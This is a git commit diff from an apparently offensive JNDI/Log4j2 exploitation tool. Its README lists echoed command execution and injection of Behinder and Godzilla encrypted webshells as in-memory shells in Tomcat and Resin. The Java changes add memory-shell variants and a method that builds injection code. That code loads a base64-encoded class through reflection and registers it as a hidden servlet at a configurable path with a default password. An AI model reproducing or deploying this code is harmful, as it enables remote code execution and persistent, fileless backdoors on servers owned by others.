Merge branch 'v0.3-dev'

This commit is contained in:
SearchNull
2022-01-19 15:09:56 +08:00
6 changed files with 71 additions and 11 deletions

View File

@@ -25,6 +25,19 @@
- 回显命令执行 - 回显命令执行
- 内存马注入 - 内存马注入
## Support
- 本地gadget探测
- 回显命令执行
- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马
- Tomcat/Resin 一句话内存马
## Test
漏洞环境请转至 v0.3 Version Releases处下载运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务访问首页的超链接后的id参数中存在 `Log4j2`漏洞。
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20220119150756.png)
## Usage ## Usage
```shell ```shell
@@ -119,7 +132,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png)
**可利用Gadget信息如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马** **可利用Gadget信息如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png)

View File

@@ -89,12 +89,15 @@ public class StartUp {
String[] proxies = options.get("proxy").split(":", 2); String[] proxies = options.get("proxy").split(":", 2);
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
} }
memoryShell.add("BehinderFilter"); memoryShell.add("TomcatBehinderFilter");
memoryShell.add("BehinderServlet"); memoryShell.add("TomcatBehinderServlet");
memoryShell.add("GodzillaFilter"); memoryShell.add("TomcatGodzillaFilter");
memoryShell.add("GodzillaServlet"); memoryShell.add("TomcatGodzillaServlet");
memoryShell.add("NeoreGeorgFilter"); memoryShell.add("TomcatNeoreGeorgFilter");
memoryShell.add("NeoreGeorgServlet"); memoryShell.add("TomcatNeoreGeorgServlet");
memoryShell.add("TomcatShortMemShellFilter");
memoryShell.add("TomcatShortMemShellServlet");
memoryShell.add("ResinShortMemShellServlet");
try { try {
Class.forName("io.github.exp1orer.util.Config"); Class.forName("io.github.exp1orer.util.Config");
@@ -283,7 +286,6 @@ public class StartUp {
* @author: SearchNull * @author: SearchNull
*/ */
private static boolean checkCommandEcho() { private static boolean checkCommandEcho() {
String line;
String respContent; String respContent;
String uuid = UUID.randomUUID().toString(); String uuid = UUID.randomUUID().toString();
String command = "echo " + uuid; String command = "echo " + uuid;
@@ -338,7 +340,6 @@ public class StartUp {
* @author: SearchNull * @author: SearchNull
*/ */
private static boolean runCommand(int index, String command) { private static boolean runCommand(int index, String command) {
String line;
String respContent; String respContent;
if (headers == null) { if (headers == null) {
headers = new HashMap<String, String>(); headers = new HashMap<String, String>();

View File

@@ -8,6 +8,7 @@ import java.util.Base64;
public class MemoryShell { public class MemoryShell {
private static MemoryShell instance = new MemoryShell(); private static MemoryShell instance = new MemoryShell();
private static String className = "";
private MemoryShell() {} private MemoryShell() {}
@@ -20,7 +21,11 @@ public class MemoryShell {
return ""; return "";
} }
return instance.tomcatMemoryShell(name + ".class"); if ("ResinMemShellServlet".equals(name)) {
return instance.resinMemoryShell(name);
} else {
return instance.tomcatMemoryShell(name + ".class");
}
} }
@@ -90,6 +95,46 @@ public class MemoryShell {
return code; return code;
} }
private String resinMemoryShell(String name) {
String payload = renameClass("User", name + ".class");
String code = String.format("try {\n" +
" Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" +
" java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" +
" javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" +
" com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" +
" javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" +
" java.io.PrintWriter out = rep.getWriter();" +
" javax.servlet.http.HttpSession session = req.getSession();\n" +
" String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" +
" String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" +
"\n" +
" java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" +
" Object web =getServletContext.invoke(contextRequest);\n" +
"\n" +
" com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" +
"\n" +
" com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" +
"\n" +
" String s1=\"%s\";" +
" byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" +
"\n" +
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" +
" m.setAccessible(true);\n" +
" m.setAccessible(true);\n" +
" m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" +
" session.setAttribute(\"u\", pwd);\n" +
" smapping.setServletClass(\"%s\");\n" +
" smapping.setServletName(\"%s\");\n" +
" smapping.addURLPattern(path);\n" +
" web1.addServletMapping(smapping);\n" +
" out.println(\"->|Success|<-\");" +
"} catch (Exception e) {\n" +
" e.printStackTrace();\n" +
"}", payload, className, className, className);
return code;
}
private String renameClass(String prefix, String resourceName) { private String renameClass(String prefix, String resourceName) {
String bytecodes = ""; String bytecodes = "";
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
@@ -100,7 +145,8 @@ public class MemoryShell {
try { try {
CtClass ctClass = pool.makeClass(is); CtClass ctClass = pool.makeClass(is);
ctClass.setName(prefix + System.nanoTime()); className = prefix + System.nanoTime();
ctClass.setName(className);
byte[] bytes = ctClass.toBytecode(); byte[] bytes = ctClass.toBytecode();
bytecodes = Base64.getEncoder().encodeToString(bytes); bytecodes = Base64.getEncoder().encodeToString(bytes);
} catch (IOException | CannotCompileException e) { } catch (IOException | CannotCompileException e) {

Binary file not shown.

Binary file not shown.

Binary file not shown.